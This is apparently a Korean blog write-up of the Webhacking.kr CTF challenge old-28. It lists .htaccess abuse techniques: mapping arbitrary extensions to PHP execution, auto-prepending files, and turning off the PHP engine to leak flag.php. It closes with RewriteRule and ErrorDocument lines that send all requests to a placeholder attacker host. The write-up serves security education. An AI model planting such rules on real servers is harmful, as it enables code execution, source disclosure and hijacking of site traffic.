Web Hacking/Webhacking.kr

[Webhacking.kr] old-28 (with. htaccess in apache)

프레딕 2024. 7. 12. 01:22
728x90

저 flag.php 를 읽으면 된다.

처음 flag.php에 접속하면 아무것도 뜨지 않는다.

이게 read권한이 없어서 그냥 안읽히는줄 알고 php 웹쉘을 시도해봤는데 < 괄호가 필터링되어서 웹쉘을 시도할 수가 없었다.

그래서 찾아보니깐 apache환경에서 .htaccess라는 파일을 사용할 수 있다고 한다.

.htaccess파일은 같은 폴더의 파일들에 룰을 지정? 할 수 있는 그런 apache 설정 파일이다.

.htaccess 파일이 은근 뭘 많이 할 수 있는데 쓸만한거 몇개 올려보겠다.

 

1. 파일 확장자 지정

AddType application/x-httpd-php .xxx

.xxx라는 파일을 php파일로 쓸 수 있다.

 

2. 파일 강제 실행

php_value auto_prepend_file /full/path/to/prepend.php

이 설정은 어떤 파일이 실행되기 전에 무조건 prepend.php를 먼저 실행하고 그다음에 파일을 실행시켜준다.

 

3. 인덱스 디렉터리 변경

DirectoryIndex home.php

인덱스 디렉터리를 home.php로 설정한다.

/로 리다이렉트하면 home.php로 변경되어 있는걸 확인 가능하다.

4. 실행중지

php_flag engine off

사실상 이문제의 답이다.

저렇게 하면 php파일인 flag를 실행시키지 않게 한다.

처음에 flag.php가 r 권한이 없는줄 알았지만 알고보니 flag.php를 실행시켜서 flag가 안나오는 것이었다.

그래서 저 engine off 설정을 해주면 flag.php가 실행되지 않고 flag를 확인 가능하다.

 

5. 요청 리다이렉트

RewriteEngine On
RewriteOptions inherit
# mod_proxy_fcgi를 사용하는 경우 FastCGI 서버로 요청 프록시
RewriteRule (.*) fcgi://attacker.dreamhack.io.$1 [P]
# mod_proxy_http를 사용하는 경우 HTTP 서버로 요청 프록시
RewriteRule (.*) http://%{HTTP_HOST}at.attacker.dreamhack.io.$1 [P]
# HTTP Redirect 사용
RewriteRule (.*) http://%{HTTP_HOST}at.attacker.dreamhack.io.$1 [R=302,L]
# 에러 페이지를 공격자의 웹 페이지로 리다이렉트합니다.
ErrorDocument 404 https://attacker.dreamhack.io

공격자의 웹페이지로 모든 네트워크 요청을 보낼 수 있다.

728x90
반응형